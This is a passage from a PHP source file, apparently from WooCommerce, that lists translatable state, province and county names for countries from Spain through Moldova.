		'GI' => __( 'Girona', 'woocommerce' ),
		'GR' => __( 'Granada', 'woocommerce' ),
		'GU' => __( 'Guadalajara', 'woocommerce' ),
		'SS' => __( 'Gipuzkoa', 'woocommerce' ),
		'H'  => __( 'Huelva', 'woocommerce' ),
		'HU' => __( 'Huesca', 'woocommerce' ),
		'J'  => __( 'Jaén', 'woocommerce' ),
		'LO' => __( 'La Rioja', 'woocommerce' ),
		'GC' => __( 'Las Palmas', 'woocommerce' ),
		'LE' => __( 'León', 'woocommerce' ),
		'L'  => __( 'Lleida', 'woocommerce' ),
		'LU' => __( 'Lugo', 'woocommerce' ),
		'M'  => __( 'Madrid', 'woocommerce' ),
		'MA' => __( 'Málaga', 'woocommerce' ),
		'ML' => __( 'Melilla', 'woocommerce' ),
		'MU' => __( 'Murcia', 'woocommerce' ),
		'NA' => __( 'Navarra', 'woocommerce' ),
		'OR' => __( 'Ourense', 'woocommerce' ),
		'P'  => __( 'Palencia', 'woocommerce' ),
		'PO' => __( 'Pontevedra', 'woocommerce' ),
		'SA' => __( 'Salamanca', 'woocommerce' ),
		'TF' => __( 'Santa Cruz de Tenerife', 'woocommerce' ),
		'SG' => __( 'Segovia', 'woocommerce' ),
		'SE' => __( 'Sevilla', 'woocommerce' ),
		'SO' => __( 'Soria', 'woocommerce' ),
		'T'  => __( 'Tarragona', 'woocommerce' ),
		'TE' => __( 'Teruel', 'woocommerce' ),
		'TO' => __( 'Toledo', 'woocommerce' ),
		'V'  => __( 'Valencia', 'woocommerce' ),
		'VA' => __( 'Valladolid', 'woocommerce' ),
		'BI' => __( 'Biscay', 'woocommerce' ),
		'ZA' => __( 'Zamora', 'woocommerce' ),
		'Z'  => __( 'Zaragoza', 'woocommerce' ),
	),
	'FI' => array(),
	'FR' => array(),
	'GF' => array(),
	'GH' => array( // Ghanaian Regions.
		'AF' => __( 'Ahafo', 'woocommerce' ),
		'AH' => __( 'Ashanti', 'woocommerce' ),
		'BA' => __( 'Brong-Ahafo', 'woocommerce' ),
		'BO' => __( 'Bono', 'woocommerce' ),
		'BE' => __( 'Bono East', 'woocommerce' ),
		'CP' => __( 'Central', 'woocommerce' ),
		'EP' => __( 'Eastern', 'woocommerce' ),
		'AA' => __( 'Greater Accra', 'woocommerce' ),
		'NE' => __( 'North East', 'woocommerce' ),
		'NP' => __( 'Northern', 'woocommerce' ),
		'OT' => __( 'Oti', 'woocommerce' ),
		'SV' => __( 'Savannah', 'woocommerce' ),
		'UE' => __( 'Upper East', 'woocommerce' ),
		'UW' => __( 'Upper West', 'woocommerce' ),
		'TV' => __( 'Volta', 'woocommerce' ),
		'WP' => __( 'Western', 'woocommerce' ),
		'WN' => __( 'Western North', 'woocommerce' ),
	),
	'GP' => array(),
	'GR' => array( // Greek Regions.
		'I' => __( 'Attica', 'woocommerce' ),
		'A' => __( 'East Macedonia and Thrace', 'woocommerce' ),
		'B' => __( 'Central Macedonia', 'woocommerce' ),
		'C' => __( 'West Macedonia', 'woocommerce' ),
		'D' => __( 'Epirus', 'woocommerce' ),
		'E' => __( 'Thessaly', 'woocommerce' ),
		'F' => __( 'Ionian Islands', 'woocommerce' ),
		'G' => __( 'West Greece', 'woocommerce' ),
		'H' => __( 'Central Greece', 'woocommerce' ),
		'J' => __( 'Peloponnese', 'woocommerce' ),
		'K' => __( 'North Aegean', 'woocommerce' ),
		'L' => __( 'South Aegean', 'woocommerce' ),
		'M' => __( 'Crete', 'woocommerce' ),
	),
	'GT' => array( // Guatemalan states.
		'AV' => __( 'Alta Verapaz', 'woocommerce' ),
		'BV' => __( 'Baja Verapaz', 'woocommerce' ),
		'CM' => __( 'Chimaltenango', 'woocommerce' ),
		'CQ' => __( 'Chiquimula', 'woocommerce' ),
		'PR' => __( 'El Progreso', 'woocommerce' ),
		'ES' => __( 'Escuintla', 'woocommerce' ),
		'GU' => __( 'Guatemala', 'woocommerce' ),
		'HU' => __( 'Huehuetenango', 'woocommerce' ),
		'IZ' => __( 'Izabal', 'woocommerce' ),
		'JA' => __( 'Jalapa', 'woocommerce' ),
		'JU' => __( 'Jutiapa', 'woocommerce' ),
		'PE' => __( 'Petén', 'woocommerce' ),
		'QZ' => __( 'Quetzaltenango', 'woocommerce' ),
		'QC' => __( 'Quiché', 'woocommerce' ),
		'RE' => __( 'Retalhuleu', 'woocommerce' ),
		'SA' => __( 'Sacatepéquez', 'woocommerce' ),
		'SM' => __( 'San Marcos', 'woocommerce' ),
		'SR' => __( 'Santa Rosa', 'woocommerce' ),
		'SO' => __( 'Sololá', 'woocommerce' ),
		'SU' => __( 'Suchitepéquez', 'woocommerce' ),
		'TO' => __( 'Totonicapán', 'woocommerce' ),
		'ZA' => __( 'Zacapa', 'woocommerce' )
	),
	'HK' => array( // Hong Kong states.
		'HONG KONG'       => __( 'Hong Kong Island', 'woocommerce' ),
		'KOWLOON'         => __( 'Kowloon', 'woocommerce' ),
		'NEW TERRITORIES' => __( 'New Territories', 'woocommerce' ),
	),
	'HU' => array( // Hungary states.
		'BK' => __( 'Bács-Kiskun', 'woocommerce' ),
		'BE' => __( 'Békés', 'woocommerce' ),
		'BA' => __( 'Baranya', 'woocommerce' ),
		'BZ' => __( 'Borsod-Abaúj-Zemplén', 'woocommerce' ),
		'BU' => __( 'Budapest', 'woocommerce' ),
		'CS' => __( 'Csongrád-Csanád', 'woocommerce' ),
		'FE' => __( 'Fejér', 'woocommerce' ),
		'GS' => __( 'Győr-Moson-Sopron', 'woocommerce' ),
		'HB' => __( 'Hajdú-Bihar', 'woocommerce' ),
		'HE' => __( 'Heves', 'woocommerce' ),
		'JN' => __( 'Jász-Nagykun-Szolnok', 'woocommerce' ),
		'KE' => __( 'Komárom-Esztergom', 'woocommerce' ),
		'NO' => __( 'Nógrád', 'woocommerce' ),
		'PE' => __( 'Pest', 'woocommerce' ),
		'SO' => __( 'Somogy', 'woocommerce' ),
		'SZ' => __( 'Szabolcs-Szatmár-Bereg', 'woocommerce' ),
		'TO' => __( 'Tolna', 'woocommerce' ),
		'VA' => __( 'Vas', 'woocommerce' ),
		'VE' => __( 'Veszprém', 'woocommerce' ),
		'ZA' => __( 'Zala', 'woocommerce' ),
	),
	'ID' => array( // Indonesia Provinces.
		'AC' => __( 'Daerah Istimewa Aceh', 'woocommerce' ),
		'SU' => __( 'Sumatera Utara', 'woocommerce' ),
		'SB' => __( 'Sumatera Barat', 'woocommerce' ),
		'RI' => __( 'Riau', 'woocommerce' ),
		'KR' => __( 'Kepulauan Riau', 'woocommerce' ),
		'JA' => __( 'Jambi', 'woocommerce' ),
		'SS' => __( 'Sumatera Selatan', 'woocommerce' ),
		'BB' => __( 'Bangka Belitung', 'woocommerce' ),
		'BE' => __( 'Bengkulu', 'woocommerce' ),
		'LA' => __( 'Lampung', 'woocommerce' ),
		'JK' => __( 'DKI Jakarta', 'woocommerce' ),
		'JB' => __( 'Jawa Barat', 'woocommerce' ),
		'BT' => __( 'Banten', 'woocommerce' ),
		'JT' => __( 'Jawa Tengah', 'woocommerce' ),
		'JI' => __( 'Jawa Timur', 'woocommerce' ),
		'YO' => __( 'Daerah Istimewa Yogyakarta', 'woocommerce' ),
		'BA' => __( 'Bali', 'woocommerce' ),
		'NB' => __( 'Nusa Tenggara Barat', 'woocommerce' ),
		'NT' => __( 'Nusa Tenggara Timur', 'woocommerce' ),
		'KB' => __( 'Kalimantan Barat', 'woocommerce' ),
		'KT' => __( 'Kalimantan Tengah', 'woocommerce' ),
		'KI' => __( 'Kalimantan Timur', 'woocommerce' ),
		'KS' => __( 'Kalimantan Selatan', 'woocommerce' ),
		'KU' => __( 'Kalimantan Utara', 'woocommerce' ),
		'SA' => __( 'Sulawesi Utara', 'woocommerce' ),
		'ST' => __( 'Sulawesi Tengah', 'woocommerce' ),
		'SG' => __( 'Sulawesi Tenggara', 'woocommerce' ),
		'SR' => __( 'Sulawesi Barat', 'woocommerce' ),
		'SN' => __( 'Sulawesi Selatan', 'woocommerce' ),
		'GO' => __( 'Gorontalo', 'woocommerce' ),
		'MA' => __( 'Maluku', 'woocommerce' ),
		'MU' => __( 'Maluku Utara', 'woocommerce' ),
		'PA' => __( 'Papua', 'woocommerce' ),
		'PB' => __( 'Papua Barat', 'woocommerce' ),
	),
	'IE' => array( // Republic of Ireland.
		'CW' => __( 'Carlow', 'woocommerce' ),
		'CN' => __( 'Cavan', 'woocommerce' ),
		'CE' => __( 'Clare', 'woocommerce' ),
		'CO' => __( 'Cork', 'woocommerce' ),
		'DL' => __( 'Donegal', 'woocommerce' ),
		'D'  => __( 'Dublin', 'woocommerce' ),
		'G'  => __( 'Galway', 'woocommerce' ),
		'KY' => __( 'Kerry', 'woocommerce' ),
		'KE' => __( 'Kildare', 'woocommerce' ),
		'KK' => __( 'Kilkenny', 'woocommerce' ),
		'LS' => __( 'Laois', 'woocommerce' ),
		'LM' => __( 'Leitrim', 'woocommerce' ),
		'LK' => __( 'Limerick', 'woocommerce' ),
		'LD' => __( 'Longford', 'woocommerce' ),
		'LH' => __( 'Louth', 'woocommerce' ),
		'MO' => __( 'Mayo', 'woocommerce' ),
		'MH' => __( 'Meath', 'woocommerce' ),
		'MN' => __( 'Monaghan', 'woocommerce' ),
		'OY' => __( 'Offaly', 'woocommerce' ),
		'RN' => __( 'Roscommon', 'woocommerce' ),
		'SO' => __( 'Sligo', 'woocommerce' ),
		'TA' => __( 'Tipperary', 'woocommerce' ),
		'WD' => __( 'Waterford', 'woocommerce' ),
		'WH' => __( 'Westmeath', 'woocommerce' ),
		'WX' => __( 'Wexford', 'woocommerce' ),
		'WW' => __( 'Wicklow', 'woocommerce' ),
	),
	'IN' => array( // Indian states.
		'AP' => __( 'Andhra Pradesh', 'woocommerce' ),
		'AR' => __( 'Arunachal Pradesh', 'woocommerce' ),
		'AS' => __( 'Assam', 'woocommerce' ),
		'BR' => __( 'Bihar', 'woocommerce' ),
		'CT' => __( 'Chhattisgarh', 'woocommerce' ),
		'GA' => __( 'Goa', 'woocommerce' ),
		'GJ' => __( 'Gujarat', 'woocommerce' ),
		'HR' => __( 'Haryana', 'woocommerce' ),
		'HP' => __( 'Himachal Pradesh', 'woocommerce' ),
		'JK' => __( 'Jammu and Kashmir', 'woocommerce' ),
		'JH' => __( 'Jharkhand', 'woocommerce' ),
		'KA' => __( 'Karnataka', 'woocommerce' ),
		'KL' => __( 'Kerala', 'woocommerce' ),
		'LA' => __( 'Ladakh', 'woocommerce' ),
		'MP' => __( 'Madhya Pradesh', 'woocommerce' ),
		'MH' => __( 'Maharashtra', 'woocommerce' ),
		'MN' => __( 'Manipur', 'woocommerce' ),
		'ML' => __( 'Meghalaya', 'woocommerce' ),
		'MZ' => __( 'Mizoram', 'woocommerce' ),
		'NL' => __( 'Nagaland', 'woocommerce' ),
		'OR' => __( 'Odisha', 'woocommerce' ),
		'PB' => __( 'Punjab', 'woocommerce' ),
		'RJ' => __( 'Rajasthan', 'woocommerce' ),
		'SK' => __( 'Sikkim', 'woocommerce' ),
		'TN' => __( 'Tamil Nadu', 'woocommerce' ),
		'TS' => __( 'Telangana', 'woocommerce' ),
		'TR' => __( 'Tripura', 'woocommerce' ),
		'UK' => __( 'Uttarakhand', 'woocommerce' ),
		'UP' => __( 'Uttar Pradesh', 'woocommerce' ),
		'WB' => __( 'West Bengal', 'woocommerce' ),
		'AN' => __( 'Andaman and Nicobar Islands', 'woocommerce' ),
		'CH' => __( 'Chandigarh', 'woocommerce' ),
		'DN' => __( 'Dadra and Nagar Haveli', 'woocommerce' ),
		'DD' => __( 'Daman and Diu', 'woocommerce' ),
		'DL' => __( 'Delhi', 'woocommerce' ),
		'LD' => __( 'Lakshadeep', 'woocommerce' ),
		'PY' => __( 'Pondicherry (Puducherry)', 'woocommerce' ),
	),
	'IR' => array( // Iran States.
		'KHZ' => __( 'Khuzestan  (خوزستان)', 'woocommerce' ),
		'THR' => __( 'Tehran  (تهران)', 'woocommerce' ),
		'ILM' => __( 'Ilaam (ایلام)', 'woocommerce' ),
		'BHR' => __( 'Bushehr (بوشهر)', 'woocommerce' ),
		'ADL' => __( 'Ardabil (اردبیل)', 'woocommerce' ),
		'ESF' => __( 'Isfahan (اصفهان)', 'woocommerce' ),
		'YZD' => __( 'Yazd (یزد)', 'woocommerce' ),
		'KRH' => __( 'Kermanshah (کرمانشاه)', 'woocommerce' ),
		'KRN' => __( 'Kerman (کرمان)', 'woocommerce' ),
		'HDN' => __( 'Hamadan (همدان)', 'woocommerce' ),
		'GZN' => __( 'Ghazvin (قزوین)', 'woocommerce' ),
		'ZJN' => __( 'Zanjan (زنجان)', 'woocommerce' ),
		'LRS' => __( 'Luristan (لرستان)', 'woocommerce' ),
		'ABZ' => __( 'Alborz (البرز)', 'woocommerce' ),
		'EAZ' => __( 'East Azarbaijan (آذربایجان شرقی)', 'woocommerce' ),
		'WAZ' => __( 'West Azarbaijan (آذربایجان غربی)', 'woocommerce' ),
		'CHB' => __( 'Chaharmahal and Bakhtiari (چهارمحال و بختیاری)', 'woocommerce' ),
		'SKH' => __( 'South Khorasan (خراسان جنوبی)', 'woocommerce' ),
		'RKH' => __( 'Razavi Khorasan (خراسان رضوی)', 'woocommerce' ),
		'NKH' => __( 'North Khorasan (خراسان شمالی)', 'woocommerce' ),
		'SMN' => __( 'Semnan (سمنان)', 'woocommerce' ),
		'FRS' => __( 'Fars (فارس)', 'woocommerce' ),
		'QHM' => __( 'Qom (قم)', 'woocommerce' ),
		'KRD' => __( 'Kurdistan / کردستان)', 'woocommerce' ),
		'KBD' => __( 'Kohgiluyeh and BoyerAhmad (کهگیلوییه و بویراحمد)', 'woocommerce' ),
		'GLS' => __( 'Golestan (گلستان)', 'woocommerce' ),
		'GIL' => __( 'Gilan (گیلان)', 'woocommerce' ),
		'MZN' => __( 'Mazandaran (مازندران)', 'woocommerce' ),
		'MKZ' => __( 'Markazi (مرکزی)', 'woocommerce' ),
		'HRZ' => __( 'Hormozgan (هرمزگان)', 'woocommerce' ),
		'SBN' => __( 'Sistan and Baluchestan (سیستان و بلوچستان)', 'woocommerce' ),
	),
	'IS' => array(),
	'IT' => array( // Italy Provinces.
		'AG' => __( 'Agrigento', 'woocommerce' ),
		'AL' => __( 'Alessandria', 'woocommerce' ),
		'AN' => __( 'Ancona', 'woocommerce' ),
		'AO' => __( 'Aosta', 'woocommerce' ),
		'AR' => __( 'Arezzo', 'woocommerce' ),
		'AP' => __( 'Ascoli Piceno', 'woocommerce' ),
		'AT' => __( 'Asti', 'woocommerce' ),
		'AV' => __( 'Avellino', 'woocommerce' ),
		'BA' => __( 'Bari', 'woocommerce' ),
		'BT' => __( 'Barletta-Andria-Trani', 'woocommerce' ),
		'BL' => __( 'Belluno', 'woocommerce' ),
		'BN' => __( 'Benevento', 'woocommerce' ),
		'BG' => __( 'Bergamo', 'woocommerce' ),
		'BI' => __( 'Biella', 'woocommerce' ),
		'BO' => __( 'Bologna', 'woocommerce' ),
		'BZ' => __( 'Bolzano', 'woocommerce' ),
		'BS' => __( 'Brescia', 'woocommerce' ),
		'BR' => __( 'Brindisi', 'woocommerce' ),
		'CA' => __( 'Cagliari', 'woocommerce' ),
		'CL' => __( 'Caltanissetta', 'woocommerce' ),
		'CB' => __( 'Campobasso', 'woocommerce' ),
		'CE' => __( 'Caserta', 'woocommerce' ),
		'CT' => __( 'Catania', 'woocommerce' ),
		'CZ' => __( 'Catanzaro', 'woocommerce' ),
		'CH' => __( 'Chieti', 'woocommerce' ),
		'CO' => __( 'Como', 'woocommerce' ),
		'CS' => __( 'Cosenza', 'woocommerce' ),
		'CR' => __( 'Cremona', 'woocommerce' ),
		'KR' => __( 'Crotone', 'woocommerce' ),
		'CN' => __( 'Cuneo', 'woocommerce' ),
		'EN' => __( 'Enna', 'woocommerce' ),
		'FM' => __( 'Fermo', 'woocommerce' ),
		'FE' => __( 'Ferrara', 'woocommerce' ),
		'FI' => __( 'Firenze', 'woocommerce' ),
		'FG' => __( 'Foggia', 'woocommerce' ),
		'FC' => __( 'Forlì-Cesena', 'woocommerce' ),
		'FR' => __( 'Frosinone', 'woocommerce' ),
		'GE' => __( 'Genova', 'woocommerce' ),
		'GO' => __( 'Gorizia', 'woocommerce' ),
		'GR' => __( 'Grosseto', 'woocommerce' ),
		'IM' => __( 'Imperia', 'woocommerce' ),
		'IS' => __( 'Isernia', 'woocommerce' ),
		'SP' => __( 'La Spezia', 'woocommerce' ),
		'AQ' => __( "L'Aquila", 'woocommerce' ),
		'LT' => __( 'Latina', 'woocommerce' ),
		'LE' => __( 'Lecce', 'woocommerce' ),
		'LC' => __( 'Lecco', 'woocommerce' ),
		'LI' => __( 'Livorno', 'woocommerce' ),
		'LO' => __( 'Lodi', 'woocommerce' ),
		'LU' => __( 'Lucca', 'woocommerce' ),
		'MC' => __( 'Macerata', 'woocommerce' ),
		'MN' => __( 'Mantova', 'woocommerce' ),
		'MS' => __( 'Massa-Carrara', 'woocommerce' ),
		'MT' => __( 'Matera', 'woocommerce' ),
		'ME' => __( 'Messina', 'woocommerce' ),
		'MI' => __( 'Milano', 'woocommerce' ),
		'MO' => __( 'Modena', 'woocommerce' ),
		'MB' => __( 'Monza e della Brianza', 'woocommerce' ),
		'NA' => __( 'Napoli', 'woocommerce' ),
		'NO' => __( 'Novara', 'woocommerce' ),
		'NU' => __( 'Nuoro', 'woocommerce' ),
		'OR' => __( 'Oristano', 'woocommerce' ),
		'PD' => __( 'Padova', 'woocommerce' ),
		'PA' => __( 'Palermo', 'woocommerce' ),
		'PR' => __( 'Parma', 'woocommerce' ),
		'PV' => __( 'Pavia', 'woocommerce' ),
		'PG' => __( 'Perugia', 'woocommerce' ),
		'PU' => __( 'Pesaro e Urbino', 'woocommerce' ),
		'PE' => __( 'Pescara', 'woocommerce' ),
		'PC' => __( 'Piacenza', 'woocommerce' ),
		'PI' => __( 'Pisa', 'woocommerce' ),
		'PT' => __( 'Pistoia', 'woocommerce' ),
		'PN' => __( 'Pordenone', 'woocommerce' ),
		'PZ' => __( 'Potenza', 'woocommerce' ),
		'PO' => __( 'Prato', 'woocommerce' ),
		'RG' => __( 'Ragusa', 'woocommerce' ),
		'RA' => __( 'Ravenna', 'woocommerce' ),
		'RC' => __( 'Reggio Calabria', 'woocommerce' ),
		'RE' => __( 'Reggio Emilia', 'woocommerce' ),
		'RI' => __( 'Rieti', 'woocommerce' ),
		'RN' => __( 'Rimini', 'woocommerce' ),
		'RM' => __( 'Roma', 'woocommerce' ),
		'RO' => __( 'Rovigo', 'woocommerce' ),
		'SA' => __( 'Salerno', 'woocommerce' ),
		'SS' => __( 'Sassari', 'woocommerce' ),
		'SV' => __( 'Savona', 'woocommerce' ),
		'SI' => __( 'Siena', 'woocommerce' ),
		'SR' => __( 'Siracusa', 'woocommerce' ),
		'SO' => __( 'Sondrio', 'woocommerce' ),
		'SU' => __( 'Sud Sardegna', 'woocommerce' ),
		'TA' => __( 'Taranto', 'woocommerce' ),
		'TE' => __( 'Teramo', 'woocommerce' ),
		'TR' => __( 'Terni', 'woocommerce' ),
		'TO' => __( 'Torino', 'woocommerce' ),
		'TP' => __( 'Trapani', 'woocommerce' ),
		'TN' => __( 'Trento', 'woocommerce' ),
		'TV' => __( 'Treviso', 'woocommerce' ),
		'TS' => __( 'Trieste', 'woocommerce' ),
		'UD' => __( 'Udine', 'woocommerce' ),
		'VA' => __( 'Varese', 'woocommerce' ),
		'VE' => __( 'Venezia', 'woocommerce' ),
		'VB' => __( 'Verbano-Cusio-Ossola', 'woocommerce' ),
		'VC' => __( 'Vercelli', 'woocommerce' ),
		'VR' => __( 'Verona', 'woocommerce' ),
		'VV' => __( 'Vibo Valentia', 'woocommerce' ),
		'VI' => __( 'Vicenza', 'woocommerce' ),
		'VT' => __( 'Viterbo', 'woocommerce' ),
	),
	'IL' => array(),
	'IM' => array(),
	'JM' => array( // Jamaica's Parishes. Ref: https://en.wikipedia.org/wiki/ISO_3166-2:JM.
		'JM-01' => __( 'Kingston', 'woocommerce' ),
		'JM-02' => __( 'Saint Andrew', 'woocommerce' ),
		'JM-03' => __( 'Saint Thomas', 'woocommerce' ),
		'JM-04' => __( 'Portland', 'woocommerce' ),
		'JM-05' => __( 'Saint Mary', 'woocommerce' ),
		'JM-06' => __( 'Saint Ann', 'woocommerce' ),
		'JM-07' => __( 'Trelawny', 'woocommerce' ),
		'JM-08' => __( 'Saint James', 'woocommerce' ),
		'JM-09' => __( 'Hanover', 'woocommerce' ),
		'JM-10' => __( 'Westmoreland', 'woocommerce' ),
		'JM-11' => __( 'Saint Elizabeth', 'woocommerce' ),
		'JM-12' => __( 'Manchester', 'woocommerce' ),
		'JM-13' => __( 'Clarendon', 'woocommerce' ),
		'JM-14' => __( 'Saint Catherine', 'woocommerce' ),
	),

	/**
	 * Japan States.
	 *
	 * English notation of prefectures conform to the notation of Japan Post.
	 * The suffix corresponds with the Japanese translation file.
	 */
	'JP' => array(
		'JP01' => __( 'Hokkaido', 'woocommerce' ),
		'JP02' => __( 'Aomori', 'woocommerce' ),
		'JP03' => __( 'Iwate', 'woocommerce' ),
		'JP04' => __( 'Miyagi', 'woocommerce' ),
		'JP05' => __( 'Akita', 'woocommerce' ),
		'JP06' => __( 'Yamagata', 'woocommerce' ),
		'JP07' => __( 'Fukushima', 'woocommerce' ),
		'JP08' => __( 'Ibaraki', 'woocommerce' ),
		'JP09' => __( 'Tochigi', 'woocommerce' ),
		'JP10' => __( 'Gunma', 'woocommerce' ),
		'JP11' => __( 'Saitama', 'woocommerce' ),
		'JP12' => __( 'Chiba', 'woocommerce' ),
		'JP13' => __( 'Tokyo', 'woocommerce' ),
		'JP14' => __( 'Kanagawa', 'woocommerce' ),
		'JP15' => __( 'Niigata', 'woocommerce' ),
		'JP16' => __( 'Toyama', 'woocommerce' ),
		'JP17' => __( 'Ishikawa', 'woocommerce' ),
		'JP18' => __( 'Fukui', 'woocommerce' ),
		'JP19' => __( 'Yamanashi', 'woocommerce' ),
		'JP20' => __( 'Nagano', 'woocommerce' ),
		'JP21' => __( 'Gifu', 'woocommerce' ),
		'JP22' => __( 'Shizuoka', 'woocommerce' ),
		'JP23' => __( 'Aichi', 'woocommerce' ),
		'JP24' => __( 'Mie', 'woocommerce' ),
		'JP25' => __( 'Shiga', 'woocommerce' ),
		'JP26' => __( 'Kyoto', 'woocommerce' ),
		'JP27' => __( 'Osaka', 'woocommerce' ),
		'JP28' => __( 'Hyogo', 'woocommerce' ),
		'JP29' => __( 'Nara', 'woocommerce' ),
		'JP30' => __( 'Wakayama', 'woocommerce' ),
		'JP31' => __( 'Tottori', 'woocommerce' ),
		'JP32' => __( 'Shimane', 'woocommerce' ),
		'JP33' => __( 'Okayama', 'woocommerce' ),
		'JP34' => __( 'Hiroshima', 'woocommerce' ),
		'JP35' => __( 'Yamaguchi', 'woocommerce' ),
		'JP36' => __( 'Tokushima', 'woocommerce' ),
		'JP37' => __( 'Kagawa', 'woocommerce' ),
		'JP38' => __( 'Ehime', 'woocommerce' ),
		'JP39' => __( 'Kochi', 'woocommerce' ),
		'JP40' => __( 'Fukuoka', 'woocommerce' ),
		'JP41' => __( 'Saga', 'woocommerce' ),
		'JP42' => __( 'Nagasaki', 'woocommerce' ),
		'JP43' => __( 'Kumamoto', 'woocommerce' ),
		'JP44' => __( 'Oita', 'woocommerce' ),
		'JP45' => __( 'Miyazaki', 'woocommerce' ),
		'JP46' => __( 'Kagoshima', 'woocommerce' ),
		'JP47' => __( 'Okinawa', 'woocommerce' ),
	),
	'KE' => array( // Kenya counties.
		'KE01' => __( 'Baringo', 'woocommerce' ),
		'KE02' => __( 'Bomet', 'woocommerce' ),
		'KE03' => __( 'Bungoma', 'woocommerce' ),
		'KE04' => __( 'Busia', 'woocommerce' ),
		'KE05' => __( 'Elgeyo-Marakwet', 'woocommerce' ),
		'KE06' => __( 'Embu', 'woocommerce' ),
		'KE07' => __( 'Garissa', 'woocommerce' ),
		'KE08' => __( 'Homa Bay', 'woocommerce' ),
		'KE09' => __( 'Isiolo', 'woocommerce' ),
		'KE10' => __( 'Kajiado', 'woocommerce' ),
		'KE11' => __( 'Kakamega', 'woocommerce' ),
		'KE12' => __( 'Kericho', 'woocommerce' ),
		'KE13' => __( 'Kiambu', 'woocommerce' ),
		'KE14' => __( 'Kilifi', 'woocommerce' ),
		'KE15' => __( 'Kirinyaga', 'woocommerce' ),
		'KE16' => __( 'Kisii', 'woocommerce' ),
		'KE17' => __( 'Kisumu', 'woocommerce' ),
		'KE18' => __( 'Kitui', 'woocommerce' ),
		'KE19' => __( 'Kwale', 'woocommerce' ),
		'KE20' => __( 'Laikipia', 'woocommerce' ),
		'KE21' => __( 'Lamu', 'woocommerce' ),
		'KE22' => __( 'Machakos', 'woocommerce' ),
		'KE23' => __( 'Makueni', 'woocommerce' ),
		'KE24' => __( 'Mandera', 'woocommerce' ),
		'KE25' => __( 'Marsabit', 'woocommerce' ),
		'KE26' => __( 'Meru', 'woocommerce' ),
		'KE27' => __( 'Migori', 'woocommerce' ),
		'KE28' => __( 'Mombasa', 'woocommerce' ),
		'KE29' => __( 'Murang’a', 'woocommerce' ),
		'KE30' => __( 'Nairobi County', 'woocommerce' ),
		'KE31' => __( 'Nakuru', 'woocommerce' ),
		'KE32' => __( 'Nandi', 'woocommerce' ),
		'KE33' => __( 'Narok', 'woocommerce' ),
		'KE34' => __( 'Nyamira', 'woocommerce' ),
		'KE35' => __( 'Nyandarua', 'woocommerce' ),
		'KE36' => __( 'Nyeri', 'woocommerce' ),
		'KE37' => __( 'Samburu', 'woocommerce' ),
		'KE38' => __( 'Siaya', 'woocommerce' ),
		'KE39' => __( 'Taita-Taveta', 'woocommerce' ),
		'KE40' => __( 'Tana River', 'woocommerce' ),
		'KE41' => __( 'Tharaka-Nithi', 'woocommerce' ),
		'KE42' => __( 'Trans Nzoia', 'woocommerce' ),
		'KE43' => __( 'Turkana', 'woocommerce' ),
		'KE44' => __( 'Uasin Gishu', 'woocommerce' ),
		'KE45' => __( 'Vihiga', 'woocommerce' ),
		'KE46' => __( 'Wajir', 'woocommerce' ),
		'KE47' => __( 'West Pokot', 'woocommerce' ),
	),
	'KR' => array(),
	'KW' => array(),
	'LA' => array(
		'AT' => __( 'Attapeu', 'woocommerce' ),
		'BK' => __( 'Bokeo', 'woocommerce' ),
		'BL' => __( 'Bolikhamsai', 'woocommerce' ),
		'CH' => __( 'Champasak', 'woocommerce' ),
		'HO' => __( 'Houaphanh', 'woocommerce' ),
		'KH' => __( 'Khammouane', 'woocommerce' ),
		'LM' => __( 'Luang Namtha', 'woocommerce' ),
		'LP' => __( 'Luang Prabang', 'woocommerce' ),
		'OU' => __( 'Oudomxay', 'woocommerce' ),
		'PH' => __( 'Phongsaly', 'woocommerce' ),
		'SL' => __( 'Salavan', 'woocommerce' ),
		'SV' => __( 'Savannakhet', 'woocommerce' ),
		'VI' => __( 'Vientiane Province', 'woocommerce' ),
		'VT' => __( 'Vientiane', 'woocommerce' ),
		'XA' => __( 'Sainyabuli', 'woocommerce' ),
		'XE' => __( 'Sekong', 'woocommerce' ),
		'XI' => __( 'Xiangkhouang', 'woocommerce' ),
		'XS' => __( 'Xaisomboun', 'woocommerce' ),
	),
	'LB' => array(),
	'LR' => array( // Liberia provinces.
		'BM' => __( 'Bomi', 'woocommerce' ),
		'BN' => __( 'Bong', 'woocommerce' ),
		'GA' => __( 'Gbarpolu', 'woocommerce' ),
		'GB' => __( 'Grand Bassa', 'woocommerce' ),
		'GC' => __( 'Grand Cape Mount', 'woocommerce' ),
		'GG' => __( 'Grand Gedeh', 'woocommerce' ),
		'GK' => __( 'Grand Kru', 'woocommerce' ),
		'LO' => __( 'Lofa', 'woocommerce' ),
		'MA' => __( 'Margibi', 'woocommerce' ),
		'MY' => __( 'Maryland', 'woocommerce' ),
		'MO' => __( 'Montserrado', 'woocommerce' ),
		'NM' => __( 'Nimba', 'woocommerce' ),
		'RV' => __( 'Rivercess', 'woocommerce' ),
		'RG' => __( 'River Gee', 'woocommerce' ),
		'SN' => __( 'Sinoe', 'woocommerce' ),
	),
	'LU' => array(),
	'MD' => array( // Moldova states.
		'C'  => __( 'Chișinău', 'woocommerce' ),
		'BL' => __( 'Bălți', 'woocommerce' ),
		'AN' => __( 'Anenii Noi', 'woocommerce' ),
		'BS' => __( 'Basarabeasca', 'woocommerce' ),
		'BR' => __( 'Briceni', 'woocommerce' ),
		'CH' => __( 'Cahul', 'woocommerce' ),
		'CT' => __( 'Cantemir', 'woocommerce' ),
		'CL' => __( 'Călărași', 'woocommerce' ),
		'CS' => __( 'Căușeni', 'woocommerce' ),
		'CM' => __( 'Cimișlia', 'woocommerce' ),
		'CR' => __( 'Criuleni', 'woocommerce' ),
		'DN' => __( 'Dondușeni', 'woocommerce' ),
		'DR' => __( 'Drochia', 'woocommerce' ),
		'DB' => __( 'Dubăsari', 'woocommerce' ),
		'ED' => __( 'Edineț', 'woocommerce' ),
		'FL' => __( 'Fălești', 'woocommerce' ),
		'FR' => __( 'Florești', 'woocommerce' ),
		'GE' => __( 'UTA Găgăuzia', 'woocommerce' ),
		'GL' => __( 'Glodeni', 'woocommerce' ),
		'HN' => __( 'Hîncești', 'woocommerce' ),
		'IL' => __( 'Ialoveni', 'woocommerce' ),
		'LV' => __( 'Leova', 'woocommerce' ),
		'NS' => __( 'Nisporeni', 'woocommerce' ),
		'OC' => __( 'Ocnița', 'woocommerce' ),
		'OR' => __( 'Orhei', 'woocommerce' ),
		'RZ' => __( 'Rezina', 'woocommerce' ),
		'RS' => __( 'Rîșcani', 'woocommerce' ),
		'SG' => __( 'Sîngerei', 'woocommerce' ),
		'SR' => __( 'Soroca', 'woocommerce' ),
